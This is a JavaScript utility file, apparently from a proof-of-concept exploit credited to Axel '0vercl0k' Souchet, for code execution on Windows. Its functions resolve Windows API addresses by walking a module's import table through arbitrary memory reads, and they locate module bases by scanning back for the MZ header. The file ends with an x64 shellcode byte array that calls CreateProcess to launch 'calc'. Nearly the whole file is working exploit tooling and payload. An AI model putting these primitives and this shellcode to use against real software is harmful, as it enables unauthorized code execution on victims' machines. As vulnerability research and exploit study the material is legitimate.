moarutils.js

// Axel '0vercl0k' Souchet - 16 October 2018

//
// Walks the IAT of ModuleBase until finding the ImportDescriptor
// for DllName2Find.
//

function FindImportDescriptor(Memory, ModuleBase, DllName2Find) {
    // dt ntdll!_IMAGE_DOS_HEADER e_lfanew
    //   +0x03c e_lfanew : Int4B
    const ImgDosHeader_e_lfanew = Memory.Read32(Add(ModuleBase, 0x3c));
    const ImgNtHeaders64 = Add(ModuleBase, ImgDosHeader_e_lfanew);
    // 0:000> dt ntdll!_IMAGE_NT_HEADERS64 OptionalHeader
    //   +0x018 OptionalHeader : _IMAGE_OPTIONAL_HEADER64
    // 0:000> dt ntdll!_IMAGE_OPTIONAL_HEADER64 DataDirectory
    //   +0x070 DataDirectory : [16] _IMAGE_DATA_DIRECTORY
    // 0:000> ?? sizeof(_IMAGE_DATA_DIRECTORY)
    // unsigned int64 8
    // 0:000> dt ntdll!_IMAGE_DATA_DIRECTORY
    // ntdll!_IMAGE_DATA_DIRECTORY
    //   +0x000 VirtualAddress   : Uint4B
    let ImportDescriptor = Add(ModuleBase, Memory.Read32(
        Add(ImgNtHeaders64, 0x18 + 0x70 + (1 * 8))
    ));

    let Found = false;

    while(1337) {
        const NameRVA = Memory.Read32(
            Add(ImportDescriptor, 3*4)
        );

        if(Eq(NameRVA, 0)) {

            //
            // It means the RVA of the name was 0 and as a result
            // NameAddress is pointing right on the MZ header of the Module.
            //

            break;
        }

        const NameAddress = Add(ModuleBase, NameRVA);
        const Name = Memory.ReadString(NameAddress);
        print('[*] ImportDescriptor @ ' + ImportDescriptor.toString(16) + ': ' + NameAddress.toString(16) + ': ' + Name);
        if(Name.toLowerCase() == DllName2Find.toLowerCase()) {
            Found = true;
            break;
        }

        ImportDescriptor = Add(ImportDescriptor, 0x14);
    }

    if(!Found) {
        print('[-] Could not find the import descriptor for ' + DllName2Find);
        ImportDescriptor = null;
    }

    return ImportDescriptor;
}

//
// Walks the imported APIs by the ImportDescriptor and returns their address.
//

function FindImportedAPIsFromImportDescriptor(Memory, ModuleBase, ImportDescriptor, ...APINames) {
    const Results = {};
    const ImportNames = Add(ModuleBase, Memory.Read32(ImportDescriptor));
    const ImportAddresses = Add(ModuleBase, Memory.Read32(
        Add(ImportDescriptor, 4 * 4)
    ));
    const APINamesLower = APINames.map(
        p => p.toLowerCase()
    );

    print('[*] Looking for ' + APINames.join(', ') + '..');
    print('[+]   Imports Name Array is @ ' + ImportNames.toString(16));
    print('[+]   Imports Address Array is @ ' + ImportAddresses.toString(16));

    let Idx = 0;
    while(1337) {
        const ImportAddress = Memory.ReadPtr(Add(ImportAddresses, Idx * 8));
        if(Eq(ImportAddress, 0)) {

            //
            // We are done walking the imports for this descriptor.
            //

            break;
        }

        const ImportNameAddress = Add(Add(ModuleBase, Memory.ReadPtr(
            Add(ImportNames, Idx * 8)
        ), 2));
        const ImportNameAddressFixed = Add(ImportNameAddress, 2);
        const ImportName = Memory.ReadString(ImportNameAddressFixed);
        const ImportNameLower = ImportName.toLowerCase();
        print('[*]     Function: ' + ImportName + ' is @ ' + ImportAddress.toString(16));
        if(APINamesLower.includes(ImportNameLower)) {
            Results[ImportNameLower] = ImportAddress;
        }

        if(Object.keys(Results).length == APINamesLower.length) {

            //
            // If we found all our APIs then we're out!
            //

            break;
        }

        Idx++;
    }

    const Addresses = [];
    for(const APINameLower of APINamesLower) {
        const Address = Results.hasOwnProperty(APINameLower) ? Results[APINameLower] : null;
        Addresses.push(Address);
    }

    if(Addresses.length == 1) {

        //
        // If we only have one address to return, let's just return it as opposed to
        // returning the Array.
        // This allows the caller to invoke the function like the below:
        //   `const foo = FindImportedAPIsFromImportDescriptor(Kern32, 'foo');`
        // as opposed to:
        //   `const [foo] = FindImportedAPIsFromImportDescriptor(Kern32, 'foo');`
        //

        return Addresses[0];
    }

    return Addresses;
}

//
// Walks the IAT and returns the addresses of the APIs requested.
//

function FindImportedAPIs(Memory, ModuleBase, DllName, ...APINames) {
    const ImportDescriptor = FindImportDescriptor(Memory, ModuleBase, DllName);
    if(ImportDescriptor == null) {

        //
        // If we don't find an ImportDescriptor, we return an array of nulls; one for
        // each of the requested API.
        //

        const Nulls = APINames.map(_ => null);
        if(APINames.length == 1) {
            return Nulls[0];
        }

        return Nulls;
    }

    return FindImportedAPIsFromImportDescriptor(
        Memory, ModuleBase,
        ImportDescriptor,
        ...APINames
    );
}

//
// Scan back page, by page until finding the base of the module
// Address belongs to.
//

function FindModuleBase(Memory, Address) {
    let Base = alignDownPage(Address);
    while(1337) {
        const MZ = Array.from(Memory.Read(Base, 2)).map(
            c => String.fromCharCode(c)
        ).join('');

        if(MZ == 'MZ') {
            break;
        }

        Base = Sub(Base, 0x1000);
    }

    return Base;
}

//
// Compare two arrays.
//

function ArrayCmp(A, B) {
    if(A.length != B.length) {
        return false;
    }

    for(let Idx = 0; Idx < A.length; Idx++) {
        if(A[Idx] != B[Idx]) {
            return false;
        }
    }

    return true;
}

//
// Shellcode that CreateProcess/ExitProcess generated via scc.
//

const Shellcode = new Uint8Array([
    (Debug ? 0xcc : 0x90),
    0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x08, 0x48, 0x8b, 0xec, 0x48, 0x8d, 0x64, 0x24, 0xe8,
    0x48, 0x8d, 0x05, 0x6b, 0x02, 0x00, 0x00, 0x48, 0x89, 0x45, 0xe8, 0x6a, 0x00, 0x8f, 0x45, 0xf0,
    0x48, 0x8d, 0x05, 0x6b, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x08, 0x48, 0x8d, 0x55, 0xe8, 0xe8, 0x74,
    0x01, 0x00, 0x00, 0xe8, 0xd0, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x64, 0x24, 0xe0, 0x48, 0x8d, 0x15,
    0x3e, 0x02, 0x00, 0x00, 0xff, 0x52, 0x08, 0x48, 0x83, 0xc4, 0x20, 0x53, 0x56, 0x57, 0x41, 0x54,
    0x55, 0x48, 0x8b, 0xec, 0x6a, 0x60, 0x58, 0x65, 0x48, 0x8b, 0x00, 0x48, 0x8b, 0x40, 0x18, 0x48,
    0x8b, 0x70, 0x10, 0x48, 0x8b, 0x46, 0x30, 0x48, 0x83, 0xf8, 0x00, 0x74, 0x13, 0xeb, 0x08, 0x4c,
    0x8b, 0x06, 0x49, 0x8b, 0xf0, 0xeb, 0xec, 0x45, 0x33, 0xdb, 0x66, 0x45, 0x33, 0xd2, 0xeb, 0x09,
    0x33, 0xc0, 0xc9, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0xc3, 0x66, 0x8b, 0x46, 0x58, 0x66, 0x44, 0x3b,
    0xd0, 0x72, 0x11, 0xeb, 0x3c, 0x66, 0x45, 0x8b, 0xc2, 0x66, 0x41, 0x83, 0xc0, 0x02, 0x66, 0x45,
    0x8b, 0xd0, 0xeb, 0xe5, 0x45, 0x8b, 0xcb, 0x41, 0xc1, 0xe9, 0x0d, 0x41, 0x8b, 0xc3, 0xc1, 0xe0,
    0x13, 0x44, 0x0b, 0xc8, 0x41, 0x8b, 0xc1, 0x4c, 0x8b, 0x46, 0x60, 0x45, 0x0f, 0xb7, 0xca, 0x4d,
    0x03, 0xc1, 0x45, 0x8a, 0x00, 0x45, 0x0f, 0xbe, 0xc0, 0x41, 0x83, 0xf8, 0x61, 0x72, 0x15, 0xeb,
    0x07, 0x41, 0x3b, 0xcb, 0x74, 0x16, 0xeb, 0x97, 0x41, 0x83, 0xe8, 0x20, 0x41, 0x03, 0xc0, 0x44,
    0x8b, 0xd8, 0xeb, 0xb1, 0x41, 0x03, 0xc0, 0x44, 0x8b, 0xd8, 0xeb, 0xa9, 0x4c, 0x8b, 0x56, 0x30,
    0x41, 0x8b, 0x42, 0x3c, 0x4d, 0x8b, 0xe2, 0x4c, 0x03, 0xe0, 0x41, 0x8b, 0x84, 0x24, 0x88, 0x00,
    0x00, 0x00, 0x4d, 0x8b, 0xca, 0x4c, 0x03, 0xc8, 0x45, 0x33, 0xdb, 0x41, 0x8b, 0x41, 0x18, 0x44,
    0x3b, 0xd8, 0x72, 0x0b, 0xe9, 0x56, 0xff, 0xff, 0xff, 0x41, 0x83, 0xc3, 0x01, 0xeb, 0xec, 0x41,
    0x8b, 0x41, 0x20, 0x49, 0x8b, 0xda, 0x48, 0x03, 0xd8, 0x45, 0x8b, 0xc3, 0x48, 0x8b, 0xc3, 0x4a,
    0x8d, 0x04, 0x80, 0x8b, 0x00, 0x49, 0x8b, 0xfa, 0x48, 0x03, 0xf8, 0x33, 0xc0, 0x48, 0x8b, 0xdf,
    0x48, 0x83, 0xc7, 0x01, 0x44, 0x8a, 0x03, 0x41, 0x0f, 0xbe, 0xd8, 0x83, 0xfb, 0x00, 0x74, 0x02,
    0xeb, 0x06, 0x3b, 0xd0, 0x74, 0x17, 0xeb, 0xc1, 0x44, 0x8b, 0xc0, 0x41, 0xc1, 0xe8, 0x0d, 0xc1,
    0xe0, 0x13, 0x44, 0x0b, 0xc0, 0x44, 0x03, 0xc3, 0x41, 0x8b, 0xc0, 0xeb, 0xd0, 0x41, 0x8b, 0x41,
    0x1c, 0x49, 0x8b, 0xd2, 0x48, 0x03, 0xd0, 0x41, 0x8b, 0x41, 0x24, 0x4d, 0x8b, 0xca, 0x4c, 0x03,
    0xc8, 0x45, 0x8b, 0xc3, 0x49, 0x8b, 0xc1, 0x4a, 0x8d, 0x04, 0x40, 0x66, 0x8b, 0x00, 0x0f, 0xb7,
    0xc8, 0x48, 0x8b, 0xc2, 0x48, 0x8d, 0x04, 0x88, 0x8b, 0x00, 0x4c, 0x03, 0xd0, 0x49, 0x8b, 0xc2,
    0xc9, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0xc3, 0x53, 0x56, 0x57, 0x41, 0x54, 0x55, 0x48, 0x8b, 0xec,
    0x48, 0x8b, 0xf1, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0x03, 0x48, 0x83, 0xf8, 0x00, 0x74, 0x0e, 0x48,
    0x8b, 0xc6, 0x48, 0x83, 0xc6, 0x04, 0x44, 0x8b, 0x20, 0x33, 0xff, 0xeb, 0x07, 0xc9, 0x41, 0x5c,
    0x5f, 0x5e, 0x5b, 0xc3, 0x8b, 0x06, 0x41, 0x8b, 0xcc, 0x8b, 0xd0, 0xe8, 0x6b, 0xfe, 0xff, 0xff,
    0x48, 0x8b, 0xd0, 0x48, 0x83, 0xfa, 0x00, 0x74, 0x02, 0xeb, 0x06, 0x48, 0x83, 0xc3, 0x08, 0xeb,
    0xc5, 0x48, 0x8b, 0x03, 0x48, 0x8b, 0xcf, 0x48, 0x83, 0xc7, 0x01, 0x48, 0x8d, 0x04, 0xc8, 0x48,
    0x89, 0x10, 0x48, 0x83, 0xc6, 0x04, 0xeb, 0xcc, 0x57, 0x55, 0x48, 0x8b, 0xec, 0x48, 0x8d, 0xa4,
    0x24, 0x78, 0xff, 0xff, 0xff, 0x48, 0x8d, 0xbd, 0x78, 0xff, 0xff, 0xff, 0x32, 0xc0, 0x6a, 0x68,
    0x59, 0xf3, 0xaa, 0xc7, 0x85, 0x78, 0xff, 0xff, 0xff, 0x68, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05,
    0x6e, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x10, 0x4c, 0x8d, 0x95, 0x78, 0xff, 0xff, 0xff, 0x48, 0x8d,
    0x45, 0xe0, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x45, 0x33, 0xc9, 0x50, 0x41, 0x52, 0x6a, 0x00, 0x6a,
    0x00, 0x6a, 0x00, 0x6a, 0x00, 0x48, 0x8d, 0x64, 0x24, 0xe0, 0x48, 0x8d, 0x05, 0x21, 0x00, 0x00,
    0x00, 0xff, 0x10, 0x48, 0x83, 0xc4, 0x50, 0xb9, 0x39, 0x05, 0x00, 0x00, 0x48, 0x8d, 0x64, 0x24,
    0xe0, 0x48, 0x8d, 0x15, 0x0a, 0x00, 0x00, 0x00, 0xff, 0x52, 0x08, 0x48, 0x83, 0xc4, 0x20, 0xc9,
    0x5f, 0xc3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x17, 0xca, 0x2b, 0x6e, 0x72, 0xfe, 0xb3, 0x16, 0x7e, 0xd8, 0xe2, 0x73, 0x00, 0x00,
    0x00, 0x00, 0x63, 0x61, 0x6c, 0x63, 0x00
]);